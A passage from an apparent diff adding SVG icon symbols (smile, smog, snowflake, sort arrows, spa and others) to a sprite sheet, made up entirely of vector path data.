248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm194.8 170.2C334.3 380.4 292.5 400 248 400s-86.3-19.6-114.8-53.8c-13.6-16.3 11-36.7 24.6-20.5 22.4 26.9 55.2 42.2 90.2 42.2s67.8-15.4 90.2-42.2c13.4-16.2 38.1 4.2 24.6 20.5z"></path> + </symbol> + <symbol id="smile-beam" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM112 223.4c3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.3 7.4-15.8 4-15.1-4.5zm250.8 122.8C334.3 380.4 292.5 400 248 400s-86.3-19.6-114.8-53.8c-13.5-16.3 11-36.7 24.6-20.5 22.4 26.9 55.2 42.2 90.2 42.2s67.8-15.4 90.2-42.2c13.6-16.2 38.1 4.3 24.6 20.5zm6.2-118.3l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.3-15.6 4-14.9-4.5 3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.6 8.6-11 11.9-15.1 4.5z"></path> + </symbol> + <symbol id="smile-wink" viewBox="0 0 496 512"> + <path d="M0 256c0 137 111 248 248 248s248-111 248-248S385 8 248 8 0 119 0 256zm200-48c0 17.7-14.3 32-32 32s-32-14.3-32-32 14.3-32 32-32 32 14.3 32 32zm158.5 16.5c-14.8-13.2-46.2-13.2-61 0L288 233c-8.3 7.4-21.6.4-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S384 197 388 222.2c1.7 11.1-11.4 18.3-19.8 10.8l-9.7-8.5zM157.8 325.8C180.2 352.7 213 368 248 368s67.8-15.4 90.2-42.2c13.6-16.2 38.1 4.2 24.6 20.5C334.3 380.4 292.5 400 248 400s-86.3-19.6-114.8-53.8c-13.5-16.3 11.2-36.7 24.6-20.4z"></path> + </symbol> + <symbol id="smog" viewBox="0 0 640 512"> + <path d="M624 368H80c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h544c8.8 0 16-7.2 16-16v-16c0-8.8-7.2-16-16-16zm-480 96H16c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h128c8.8 0 16-7.2 16-16v-16c0-8.8-7.2-16-16-16zm416 0H224c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h336c8.8 0 16-7.2 16-16v-16c0-8.8-7.2-16-16-16zM144 288h156.1c22.5 19.7 51.6 32 83.9 32s61.3-12.3 83.9-32H528c61.9 0 112-50.1 112-112S589.9 64 528 64c-18 0-34.7 4.6-49.7 12.1C454 31 406.8 0 352 0c-41 0-77.8 17.3-104 44.8C221.8 17.3 185 0 144 0 64.5 0 0 64.5 0 144s64.5 144 144 144z"></path> + </symbol> + <symbol id="smoking" viewBox="0 0 640 512"> + <path d="M632 352h-48c-4.4 0-8 3.6-8 8v144c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8V360c0-4.4-3.6-8-8-8zM553.3 87.1c-5.7-3.8-9.3-10-9.3-16.8V8c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v62.3c0 22 10.2 43.4 28.6 55.4 42.2 27.3 67.4 73.8 67.4 124V280c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-30.3c0-65.5-32.4-126.2-86.7-162.6zM432 352H48c-26.5 0-48 21.5-48 48v64c0 26.5 21.5 48 48 48h384c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16zm-32 112H224v-64h176v64zm87.7-322.4C463.8 125 448 99.3 448 70.3V8c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v66.4c0 43.7 24.6 81.6 60.3 106.7 22.4 15.7 35.7 41.2 35.7 68.6V280c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-30.3c0-43.3-21-83.4-56.3-108.1zM536 352h-48c-4.4 0-8 3.6-8 8v144c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8V360c0-4.4-3.6-8-8-8z"></path> + </symbol> + <symbol id="smoking-ban" viewBox="0 0 512 512"> + <path d="M96 304c0 8.8 7.2 16 16 16h117.5l-96-96H112c-8.8 0-16 7.2-16 16v64zM256 0C114.6 0 0 114.6 0 256s114.6 256 256 256 256-114.6 256-256S397.4 0 256 0zm0 448c-105.9 0-192-86.1-192-192 0-41.4 13.3-79.7 35.7-111.1l267.4 267.4C335.7 434.7 297.4 448 256 448zm45.2-192H384v32h-50.8l-32-32zm111.1 111.1L365.2 320H400c8.8 0 16-7.2 16-16v-64c0-8.8-7.2-16-16-16H269.2L144.9 99.7C176.3 77.3 214.6 64 256 64c105.9 0 192 86.1 192 192 0 41.4-13.3 79.7-35.7 111.1zM320.6 128c-15.6 0-28.6-11.2-31.4-25.9-.7-3.6-4-6.1-7.7-6.1h-16.2c-5 0-8.7 4.5-8 9.4 4.6 30.9 31.2 54.6 63.3 54.6 15.6 0 28.6 11.2 31.4 25.9.7 3.6 4 6.1 7.7 6.1h16.2c5 0 8.7-4.5 8-9.4-4.6-30.9-31.2-54.6-63.3-54.6z"></path> + </symbol> + <symbol id="sms" viewBox="0 0 512 512"> + <path d="M256 32C114.6 32 0 125.1 0 240c0 49.6 21.4 95 57 130.7C44.5 421.1 2.7 466 2.2 466.5c-2.2 2.3-2.8 5.7-1.5 8.7 1.3 3 4.1 4.8 7.3 4.8 66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 141.4 0 256-93.1 256-208S397.4 32 256 32zM128.2 304H116c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h12.3c6 0 10.4-3.5 10.4-6.6 0-1.3-.8-2.7-2.1-3.8l-21.9-18.8c-8.5-7.2-13.3-17.5-13.3-28.1 0-21.3 19-38.6 42.4-38.6H156c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8h-12.3c-6 0-10.4 3.5-10.4 6.6 0 1.3.8 2.7 2.1 3.8l21.9 18.8c8.5 7.2 13.3 17.5 13.3 28.1.1 21.3-19 38.6-42.4 38.6zm191.8-8c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-68.2l-24.8 55.8c-2.9 5.9-11.4 5.9-14.3 0L224 227.8V296c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V192c0-8.8 7.2-16 16-16h16c6.1 0 11.6 3.4 14.3 8.8l17.7 35.4 17.7-35.4c2.7-5.4 8.3-8.8 14.3-8.8h16c8.8 0 16 7.2 16 16v104zm48.3 8H356c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h12.3c6 0 10.4-3.5 10.4-6.6 0-1.3-.8-2.7-2.1-3.8l-21.9-18.8c-8.5-7.2-13.3-17.5-13.3-28.1 0-21.3 19-38.6 42.4-38.6H396c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8h-12.3c-6 0-10.4 3.5-10.4 6.6 0 1.3.8 2.7 2.1 3.8l21.9 18.8c8.5 7.2 13.3 17.5 13.3 28.1.1 21.3-18.9 38.6-42.3 38.6z"></path> + </symbol> + <symbol id="snowboarding" viewBox="0 0 512 512"> + <path d="M432 96c26.5 0 48-21.5 48-48S458.5 0 432 0s-48 21.5-48 48 21.5 48 48 48zm28.8 153.6c5.8 4.3 12.5 6.4 19.2 6.4 9.7 0 19.3-4.4 25.6-12.8 10.6-14.1 7.8-34.2-6.4-44.8l-111.4-83.5c-13.8-10.3-29.1-18.4-45.4-23.8l-63.7-21.2-26.1-52.1C244.7 2 225.5-4.4 209.7 3.5c-15.8 7.9-22.2 27.1-14.3 42.9l29.1 58.1c5.7 11.4 15.6 19.9 27.7 24l16.4 5.5-41.2 20.6c-21.8 10.9-35.4 32.8-35.4 57.2v53.1l-74.1 24.7c-16.8 5.6-25.8 23.7-20.2 40.5 1.7 5.2 4.9 9.4 8.7 12.9l-38.7-14.1c-9.7-3.5-17.4-10.6-21.8-20-5.6-12-19.9-17.2-31.9-11.6s-17.2 19.9-11.6 31.9c9.8 21 27.1 36.9 48.9 44.8l364.8 132.7c9.7 3.5 19.7 5.3 29.7 5.3 12.5 0 24.9-2.7 36.5-8.2 12-5.6 17.2-19.9 11.6-31.9S474 454.7 462 460.3c-9.3 4.4-19.8 4.8-29.5 1.3l-90.8-33.1c8.7-4.1 15.6-11.8 17.8-21.9l21.9-102c3.9-18.2-3.2-37.2-18.1-48.4l-52-39 66-30.5 83.5 62.9zm-144.4 51.7l-19.7 92c-1.5 7.1-.1 13.9 2.8 20l-169.4-61.6c2.7-.2 5.4-.4 8-1.3l85-28.4c19.6-6.5 32.8-24.8 32.8-45.5V256l60.5 45.3z"></path> + </symbol> + <symbol id="snowflake" viewBox="0 0 448 512"> + <path d="M440.3 345.2l-33.8-19.5 26-7c8.2-2.2 13.1-10.7 10.9-18.9l-4-14.9c-2.2-8.2-10.7-13.1-18.9-10.9l-70.8 19-63.9-37 63.8-36.9 70.8 19c8.2 2.2 16.7-2.7 18.9-10.9l4-14.9c2.2-8.2-2.7-16.7-10.9-18.9l-26-7 33.8-19.5c7.4-4.3 9.9-13.7 5.7-21.1L430.4 119c-4.3-7.4-13.7-9.9-21.1-5.7l-33.8 19.5 7-26c2.2-8.2-2.7-16.7-10.9-18.9l-14.9-4c-8.2-2.2-16.7 2.7-18.9 10.9l-19 70.8-62.8 36.2v-77.5l53.7-53.7c6.2-6.2 6.2-16.4 0-22.6l-11.3-11.3c-6.2-6.2-16.4-6.2-22.6 0L256 56.4V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v40.4l-19.7-19.7c-6.2-6.2-16.4-6.2-22.6 0L138.3 48c-6.3 6.2-6.3 16.4 0 22.6l53.7 53.7v77.5l-62.8-36.2-19-70.8c-2.2-8.2-10.7-13.1-18.9-10.9l-14.9 4c-8.2 2.2-13.1 10.7-10.9 18.9l7 26-33.8-19.5c-7.4-4.3-16.8-1.7-21.1 5.7L2.1 145.7c-4.3 7.4-1.7 16.8 5.7 21.1l33.8 19.5-26 7c-8.3 2.2-13.2 10.7-11 19l4 14.9c2.2 8.2 10.7 13.1 18.9 10.9l70.8-19 63.8 36.9-63.8 36.9-70.8-19c-8.2-2.2-16.7 2.7-18.9 10.9l-4 14.9c-2.2 8.2 2.7 16.7 10.9 18.9l26 7-33.8 19.6c-7.4 4.3-9.9 13.7-5.7 21.1l15.5 26.8c4.3 7.4 13.7 9.9 21.1 5.7l33.8-19.5-7 26c-2.2 8.2 2.7 16.7 10.9 18.9l14.9 4c8.2 2.2 16.7-2.7 18.9-10.9l19-70.8 62.8-36.2v77.5l-53.7 53.7c-6.3 6.2-6.3 16.4 0 22.6l11.3 11.3c6.2 6.2 16.4 6.2 22.6 0l19.7-19.7V496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-40.4l19.7 19.7c6.2 6.2 16.4 6.2 22.6 0l11.3-11.3c6.2-6.2 6.2-16.4 0-22.6L256 387.7v-77.5l62.8 36.2 19 70.8c2.2 8.2 10.7 13.1 18.9 10.9l14.9-4c8.2-2.2 13.1-10.7 10.9-18.9l-7-26 33.8 19.5c7.4 4.3 16.8 1.7 21.1-5.7l15.5-26.8c4.3-7.3 1.8-16.8-5.6-21z"></path> + </symbol> + <symbol id="snowman" viewBox="0 0 512 512"> + <path d="M510.9 152.3l-5.9-14.5c-3.3-8-12.6-11.9-20.8-8.7L456 140.6v-29c0-8.6-7.2-15.6-16-15.6h-16c-8.8 0-16 7-16 15.6v46.9c0 .5.3 1 .3 1.5l-56.4 23c-5.9-10-13.3-18.9-22-26.6 13.6-16.6 22-37.4 22-60.5 0-53-43-96-96-96s-96 43-96 96c0 23.1 8.5 43.9 22 60.5-8.7 7.7-16 16.6-22 26.6l-56.4-23c.1-.5.3-1 .3-1.5v-46.9C104 103 96.8 96 88 96H72c-8.8 0-16 7-16 15.6v29l-28.1-11.5c-8.2-3.2-17.5.7-20.8 8.7l-5.9 14.5c-3.3 8 .7 17.1 8.9 20.3l135.2 55.2c-.4 4-1.2 8-1.2 12.2 0 10.1 1.7 19.6 4.2 28.9C120.9 296.4 104 334.2 104 376c0 54 28.4 100.9 70.8 127.8 9.3 5.9 20.3 8.2 31.3 8.2h99.2c13.3 0 26.3-4.1 37.2-11.7 46.5-32.3 74.4-89.4 62.9-152.6-5.5-30.2-20.5-57.6-41.6-79 2.5-9.2 4.2-18.7 4.2-28.7 0-4.2-.8-8.1-1.2-12.2L502 172.6c8.1-3.1 12.1-12.2 8.9-20.3zM224 96c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm32 272c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-88s-16-23.2-16-32 7.2-16 16-16 16 7.2 16 16-16 32-16 32zm32-56c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z"></path> + </symbol> + <symbol id="snowplow" viewBox="0 0 640 512"> + <path d="M120 376c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm80 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm80 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm80 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm238.6 49.4c-14.5-14.5-22.6-34.1-22.6-54.6V269.2c0-20.5 8.1-40.1 22.6-54.6l36.7-36.7c6.2-6.2 6.2-16.4 0-22.6l-22.6-22.6c-6.2-6.2-16.4-6.2-22.6 0l-36.7 36.7c-26.5 26.5-41.4 62.4-41.4 99.9V288h-64v-50.9c0-8.7-1.8-17.2-5.2-25.2L364.5 29.1C356.9 11.4 339.6 0 320.3 0H176c-26.5 0-48 21.5-48 48v112h-16c-26.5 0-48 21.5-48 48v91.2C26.3 317.2 0 355.4 0 400c0 61.9 50.1 112 112 112h256c61.9 0 112-50.1 112-112 0-17.3-4.2-33.4-11.2-48H512v18.7c0 37.5 14.9 73.4 41.4 99.9l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0l22.6-22.6c6.2-6.2 6.2-16.4 0-22.6l-36.7-36.7zM192 64h117.8l68.6 160H256l-64-64V64zm176 384H112c-26.5 0-48-21.5-48-48s21.5-48 48-48h256c26.5 0 48 21.5 48 48s-21.5 48-48 48z"></path> + </symbol> + <symbol id="soap" viewBox="0 0 512 512"> + <path d="M416,192a95.42,95.42,0,0,1-30.94,70.21A95.8,95.8,0,0,1,352,448H160a96,96,0,0,1,0-192h88.91A95.3,95.3,0,0,1,224,192H96A96,96,0,0,0,0,288V416a96,96,0,0,0,96,96H416a96,96,0,0,0,96-96V288A96,96,0,0,0,416,192Zm-96,64a64,64,0,1,0-64-64A64,64,0,0,0,320,256ZM208,96a48,48,0,1,0-48-48A48,48,0,0,0,208,96ZM384,64a32,32,0,1,0-32-32A32,32,0,0,0,384,64ZM160,288a64,64,0,0,0,0,128H352a64,64,0,0,0,0-128Z"></path> + </symbol> + <symbol id="socks" viewBox="0 0 512 512"> + <path d="M214.66 311.01L288 256V96H128v176l-86.65 64.61c-39.4 29.56-53.86 84.42-29.21 127.06C30.39 495.25 63.27 512 96.08 512c20.03 0 40.25-6.25 57.52-19.2l21.86-16.39c-29.85-55.38-13.54-125.84 39.2-165.4zM288 32c0-11.05 3.07-21.3 8.02-30.38C293.4.92 290.85 0 288 0H160c-17.67 0-32 14.33-32 32v32h160V32zM480 0H352c-17.67 0-32 14.33-32 32v32h192V32c0-17.67-14.33-32-32-32zM320 272l-86.13 64.61c-39.4 29.56-53.86 84.42-29.21 127.06 18.25 31.58 50.61 48.33 83.42 48.33 20.03 0 40.25-6.25 57.52-19.2l115.2-86.4A127.997 127.997 0 0 0 512 304V96H320v176z"></path> + </symbol> + <symbol id="solar-panel" viewBox="0 0 640 512"> + <path d="M431.98 448.01l-47.97.05V416h-128v32.21l-47.98.05c-8.82.01-15.97 7.16-15.98 15.99l-.05 31.73c-.01 8.85 7.17 16.03 16.02 16.02l223.96-.26c8.82-.01 15.97-7.16 15.98-15.98l.04-31.73c.01-8.85-7.17-16.03-16.02-16.02zM585.2 26.74C582.58 11.31 568.99 0 553.06 0H86.93C71 0 57.41 11.31 54.79 26.74-3.32 369.16.04 348.08.03 352c-.03 17.32 14.29 32 32.6 32h574.74c18.23 0 32.51-14.56 32.59-31.79.02-4.08 3.35 16.95-54.76-325.47zM259.83 64h120.33l9.77 96H250.06l9.77-96zm-75.17 256H71.09L90.1 208h105.97l-11.41 112zm16.29-160H98.24l16.29-96h96.19l-9.77 96zm32.82 160l11.4-112h149.65l11.4 112H233.77zm195.5-256h96.19l16.29 96H439.04l-9.77-96zm26.06 256l-11.4-112H549.9l19.01 112H455.33z"></path> + </symbol> + <symbol id="sort" viewBox="0 0 320 512"> + <path d="M41 288h238c21.4 0 32.1 25.9 17 41L177 448c-9.4 9.4-24.6 9.4-33.9 0L24 329c-15.1-15.1-4.4-41 17-41zm255-105L177 64c-9.4-9.4-24.6-9.4-33.9 0L24 183c-15.1 15.1-4.4 41 17 41h238c21.4 0 32.1-25.9 17-41z"></path> + </symbol> + <symbol id="sort-alpha-down" viewBox="0 0 448 512"> + <path d="M176 352h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm240-64H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 446.37V464a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 321.63V304a16 16 0 0 0-16-16zm31.06-85.38l-59.27-160A16 16 0 0 0 372.72 32h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 224h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 224H432a16 16 0 0 0 15.06-21.38zM335.61 144L352 96l16.39 48z"></path> + </symbol> + <symbol id="sort-alpha-down-alt" viewBox="0 0 448 512"> + <path d="M176 352h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm112-128h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 65.63V48a16 16 0 0 0-16-16H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 190.37V208a16 16 0 0 0 16 16zm159.06 234.62l-59.27-160A16 16 0 0 0 372.72 288h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 480h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 480H432a16 16 0 0 0 15.06-21.38zM335.61 400L352 352l16.39 48z"></path> + </symbol> + <symbol id="sort-alpha-up" viewBox="0 0 448 512"> + <path d="M16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160zm400 128H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 446.37V464a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 321.63V304a16 16 0 0 0-16-16zm31.06-85.38l-59.27-160A16 16 0 0 0 372.72 32h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 224h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 224H432a16 16 0 0 0 15.06-21.38zM335.61 144L352 96l16.39 48z"></path> + </symbol> + <symbol id="sort-alpha-up-alt" viewBox="0 0 448 512"> + <path d="M16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160zm272 64h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 65.63V48a16 16 0 0 0-16-16H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 190.37V208a16 16 0 0 0 16 16zm159.06 234.62l-59.27-160A16 16 0 0 0 372.72 288h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 480h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 480H432a16 16 0 0 0 15.06-21.38zM335.61 400L352 352l16.39 48z"></path> + </symbol> + <symbol id="sort-amount-down" viewBox="0 0 512 512"> + <path d="M304 416h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-128-64h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.37 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm256-192H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-64 128H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM496 32H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"></path> + </symbol> + <symbol id="sort-amount-down-alt" viewBox="0 0 512 512"> + <path d="M240 96h64a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm0 128h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm256 192H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-256-64h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm-64 0h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.37 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352z"></path> + </symbol> + <symbol id="sort-amount-up" viewBox="0 0 512 512"> + <path d="M304 416h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.77 160 16 160zm416 0H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-64 128H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM496 32H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"></path> + </symbol> + <symbol id="sort-amount-up-alt" viewBox="0 0 512 512"> + <path d="M240 96h64a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm0 128h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm256 192H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-256-64h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zM16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.39-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160z"></path> + </symbol> + <symbol id="sort-down" viewBox="0 0 320 512"> + <path d="M41 288h238c21.4 0 32.1 25.9 17 41L177 448c-9.4 9.4-24.6 9.4-33.9 0L24 329c-15.1-15.1-4.4-41 17-41z"></path> + </symbol> + <symbol id="sort-numeric-down" viewBox="0 0 448 512"> + <path d="M304 96h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-16V48a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 96zm26.15 162.91a79 79 0 0 0-55 54.17c-14.25 51.05 21.21 97.77 68.85 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.76 86.25-61.61 86.25-132V336c-.02-51.21-48.4-91.34-101.85-77.09zM352 356a20 20 0 1 1 20-20 20 20 0 0 1-20 20zm-176-4h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352z"></path> + </symbol> + <symbol id="sort-numeric-down-alt" viewBox="0 0 448 512"> + <path d="M176 352h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm224 64h-16V304a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 352h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM330.17 34.91a79 79 0 0 0-55 54.17c-14.27 51.05 21.19 97.77 68.83 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.77 86.25-61.61 86.25-132V112c-.02-51.21-48.4-91.34-101.85-77.09zM352 132a20 20 0 1 1 20-20 20 20 0 0 1-20 20z"></path> + </symbol> + <symbol id="sort-numeric-up" viewBox="0 0 448 512"> + <path d="M330.17 258.91a79 79 0 0 0-55 54.17c-14.27 51.05 21.19 97.77 68.83 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.76 86.25-61.61 86.25-132V336c-.02-51.21-48.4-91.34-101.85-77.09zM352 356a20 20 0 1 1 20-20 20 20 0 0 1-20 20zM304 96h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-16V48a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 96zM107.31 36.69a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31z"></path> + </symbol> + <symbol id="sort-numeric-up-alt" viewBox="0 0 448 512"> + <path d="M107.31 36.69a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31zM400 416h-16V304a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 352h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM330.17 34.91a79 79 0 0 0-55 54.17c-14.27 51.05 21.19 97.77 68.83 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.77 86.25-61.61 86.25-132V112c-.02-51.21-48.4-91.34-101.85-77.09zM352 132a20 20 0 1 1 20-20 20 20 0 0 1-20 20z"></path> + </symbol> + <symbol id="sort-up" viewBox="0 0 320 512"> + <path d="M279 224H41c-21.4 0-32.1-25.9-17-41L143 64c9.4-9.4 24.6-9.4 33.9 0l119 119c15.2 15.1 4.5 41-16.9 41z"></path> + </symbol> + <symbol id="spa" viewBox="0 0 576 512"> + <path d="M568.25 192c-29.04.13-135.01 6.16-213.84 83-33.12 29.63-53.36 63.3-66.41 